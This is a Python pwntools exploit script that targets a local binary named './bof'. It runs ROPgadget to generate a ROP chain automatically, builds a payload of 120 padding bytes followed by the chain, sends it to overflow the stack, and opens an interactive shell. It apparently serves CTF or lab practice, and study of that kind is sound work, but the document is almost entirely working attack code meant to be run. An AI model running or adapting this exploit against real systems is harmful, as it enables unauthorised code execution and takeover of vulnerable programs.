#!/usr/bin/python3
from pwn import *

offset = 120
binary_file = './bof'			
context(arch='amd64')		# Defining the architecture of the binary.		

elf = ELF(binary_file)		# Loading the binary.
p = process(binary_file)	# Starting a process.



log.info('Finding an appropriate ROP gadget...')		# Printing out to the console
rop = subprocess.run(f'ROPgadget --ropchain --binary {binary_file}', text=True,shell=True, capture_output=True).stdout
														# Running ROPgadget tool to find the ROP chain and \
														# 	saving the output in the rop variable

python_ropchain = rop[rop.find("#!"):].replace("\t", "")	# Carving out the python exploit code from the \
															#	step 5 section and removing the tabs.

if "#!/usr/bin/env python" in rop:							# Check if the python code is available.
	python_ropchain = python_ropchain.split('\n')			# Formatting it.
	python_ropchain[-1] = "print p"							# Adding a print statement at the end.
	python_ropchain = '\n'.join(python_ropchain) 

	log.success('Usable ROP Chain found !')					# Printing out a success message.

else:
	log.error('No usable ROP Chains not found ! (Try manually)') # Printing an error message.


with open('payload.py', 'w') as q:			# Saving the exploit code to a file
	q.write(python_ropchain)

log.info('Building the ROP chain...')
subprocess.run(f'python2 payload.py > payload', text=True,shell=True, capture_output=True)
											# Running the script and saving it to a file called payload
ropchain = open('payload', 'rb').read()		# Reading that file as a binary file and getting the output.
log.success('Rop Chain build successfully !')


payload = [								# Making the payload.
	b"A"*offset,
	ropchain
]

p.sendline(b"".join(payload))			# Joining the payload and sending it.

print(p.recvline())						# Receives a line from the program.

p.interactive()							# Make the process interactive so that we can keep the shell open.

